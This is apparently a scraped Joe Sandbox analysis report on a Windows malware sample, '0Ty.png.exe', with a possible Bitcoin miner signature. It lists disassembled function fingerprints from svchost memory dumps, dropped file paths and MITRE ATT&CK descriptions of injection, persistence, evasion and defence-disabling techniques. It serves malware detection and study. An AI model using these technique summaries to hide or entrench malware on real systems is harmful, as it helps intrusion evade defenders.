Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_3_2a6612d0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: f5a4be69ff799a498af4848c229d1a1df72a336720d2402a37a3c31005aff2c0
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 3F11A332F14AC043FA589578E45E3A9148C7B57B75F4D0635AA66472FACF2C8BCC8106

Function 000002A6612DA5A8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002A6612DA5D0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002A6612DA6B8

Strings

csm, xrefs: 000002A6612DA5F2
csm, xrefs: 000002A6612DA70A

Memory Dump Source

Source File: 00000047.00000003.1780006679.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_3_2a6612d0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction ID: 9cbffc8ec5ff8bdd9c127497ebb7c631b0c93787ca9db867f2f84a2ddb5c21bb
Opcode Fuzzy Hash: 92a9139125581d210e17e0e512ec335e12b84a8ad252812ef56c38af1cf641ca
Instruction Fuzzy Hash: AC514D32E00280CBEB688B21D44C75C77ACEB96F94F199115EA5A47BE5CF3CD4998B42

Function 000002A661302604 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002A6613026E8
StrCpyW.SHLWAPI ref: 000002A661302701

Strings

\\.\pipe\, xrefs: 000002A6613026F3

Memory Dump Source

Source File: 00000047.00000002.2940302898.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 00000047.00000002.2940213578.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940434300.000002A661316000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940531148.000002A661321000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940671747.000002A661323000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940751974.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_2a661300000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 33e1af66e0871330679004fe562d697de0fc8c89851f4c88526204be402beab6
Instruction ID: e3bc9fb8a1330983b664812a075b31833c319c5b03025340e8eb6bef3a7db098
Opcode Fuzzy Hash: 33e1af66e0871330679004fe562d697de0fc8c89851f4c88526204be402beab6
Instruction Fuzzy Hash: FB71A436B0078147EB64DE36995C3AA67D8F786F85F590016ED0B63B99DF38C608C781

Function 000002A6612DA24C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000002A6612DA2E7

Strings

MOC, xrefs: 000002A6612DA2AC
RCC, xrefs: 000002A6612DA2B5

Memory Dump Source

Source File: 00000047.00000003.1780006679.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_3_2a6612d0000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 30a9d0c0d3f57c599bda06983a5ca6919b98e12de895e70124a407b05a736fc2
Instruction ID: 43e1584eca2d796283e50f3f8a8e87af42aa333ef39e15b5d83a4208803e4e45
Opcode Fuzzy Hash: 30a9d0c0d3f57c599bda06983a5ca6919b98e12de895e70124a407b05a736fc2
Instruction Fuzzy Hash: 4C617932E04B848BEB60CF65D04879D77A9FB46B88F184215EF4913BA9DF78C498C702

Function 000002A6612E2DDB Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

_log10_special.LIBCMT ref: 000002A6612E3071

Strings

dll, xrefs: 000002A6612E2E95

Memory Dump Source

Source File: 00000047.00000003.1780006679.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_3_2a6612d0000_svchost.jbxd

Similarity

API ID: _log10_special
String ID: dll
API String ID: 3812965864-1037284150
Opcode ID: f5c871aa60dc0e0ec45b8b1933c36a9d422e8a67736998cb73b4f17a378e9579
Instruction ID: 7c2625f02462df714b302d873d198b90f073f5d4d3204461980f9b2b93d85b0e
Opcode Fuzzy Hash: f5c871aa60dc0e0ec45b8b1933c36a9d422e8a67736998cb73b4f17a378e9579
Instruction Fuzzy Hash: AB614221E25FCA8ED5639B39A46D265571CBF53BC5F49D307E80A33A71EF1C928B8201

Function 000002A661312B20 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002A661312C37
GetLastError.KERNEL32 ref: 000002A661312C59

Strings

U, xrefs: 000002A661312BE3

Memory Dump Source

Source File: 00000047.00000002.2940302898.000002A661301000.00000020.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Associated: 00000047.00000002.2940213578.000002A661300000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940434300.000002A661316000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940531148.000002A661321000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940671747.000002A661323000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000047.00000002.2940751974.000002A661329000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_2_2a661300000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 08a3ddd2b86f7b8515106781585b8c8a1d40bea7a265024b77d0f248b7dc9f58
Instruction ID: 00729653e197ad33754e76cd4d703fb91cc2a543f0faa093d2894e13b45c3028
Opcode Fuzzy Hash: 08a3ddd2b86f7b8515106781585b8c8a1d40bea7a265024b77d0f248b7dc9f58
Instruction Fuzzy Hash: B741F572B14A8087DB20DF65E44D3AA77A4F39AB84F984021EE4E97798EF7CC449C741

Function 000002A6612D7786 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002A6612D77AC

Strings

ctor closure', xrefs: 000002A6612D7794
`vector constructor iterator', xrefs: 000002A6612D77B1

Memory Dump Source

Source File: 00000047.00000003.1780006679.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_3_2a6612d0000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: `vector constructor iterator'$ctor closure'
API String ID: 592178966-3792692944
Opcode ID: 3d94f62f39723b7dc1272b79e31019e2f4db169682176d2f048e7421b3153389
Instruction ID: 113830a2bc3ebd6b24b96ba9216da5ed91371c25bace9118cfc115a3cc460421
Opcode Fuzzy Hash: 3d94f62f39723b7dc1272b79e31019e2f4db169682176d2f048e7421b3153389
Instruction Fuzzy Hash: 6FE04F61B51B84D1DF018F22E4882D833A8DB6AB54B4C9122995C07311EB3CD2EDC341

Function 000002A6612D77E4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002A6612D7808

Strings

destructor iterator', xrefs: 000002A6612D780D
ctor closure', xrefs: 000002A6612D77F0

Memory Dump Source

Source File: 00000047.00000003.1780006679.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_3_2a6612d0000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ctor closure'$destructor iterator'
API String ID: 592178966-595914035
Opcode ID: 178c451bf754e9b3f91433b5168c8e4fc02ede9add1333831d18f9cb102bf374
Instruction ID: b2701e076f2f8afd4d212f12c153584a0888d6f8d6490ee9c89ab05963efd12b
Opcode Fuzzy Hash: 178c451bf754e9b3f91433b5168c8e4fc02ede9add1333831d18f9cb102bf374
Instruction Fuzzy Hash: 6EE04F61B11B44C1DB018F21D4841982368EB6AB54B889122C95C07311EB3CD2E9C341

Function 000002A6612D78EC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 11COMMON

Download Yara Rule

APIs

std::bad_alloc::bad_alloc.LIBCMT ref: 000002A6612D78F5

Strings

`scalar deleting destructor', xrefs: 000002A6612D7911
rFeaturePresent, xrefs: 000002A6612D78FA

Memory Dump Source

Source File: 00000047.00000003.1780006679.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_71_3_2a6612d0000_svchost.jbxd

Similarity

API ID: std::bad_alloc::bad_alloc
String ID: `scalar deleting destructor'$rFeaturePresent
API String ID: 1875163511-1689945142
Opcode ID: 825dc38fabb3a4a7c87f2f3a88ae4ed20e2ecae66053889663208d07eaa1d642
Instruction ID: 1193f4b65bef69c4a09b888f9edf9af35d4c32735edb9b12914e6b4bdc1b4090
Opcode Fuzzy Hash: 825dc38fabb3a4a7c87f2f3a88ae4ed20e2ecae66053889663208d07eaa1d642
Instruction Fuzzy Hash: 7AD06722B21A8496EE10EB14D88D389633CF795B08F985415D14D82975EF2CCA8ED751

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 0Ty.png.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Change of critical system settings

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Bitcoin Miner

Compliance

Change of critical system settings

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\fimdesrsuelr\weiuemyrzjra.exe

C:\Users\user\AppData\Local\Microsoft\Vault\UserProfileRoaming\Latest.dat

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cjeb3c5a.juw.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_djuimxe0.3el.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ohz00dd1.2fh.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_z1eibgwj.jay.ps1

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Windows\Temp\__PSScriptPolicyTest_1udnqygg.d03.psm1

C:\Windows\Temp\__PSScriptPolicyTest_e5142syl.zjb.ps1

Windows Analysis Report
0Ty.png.exe

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre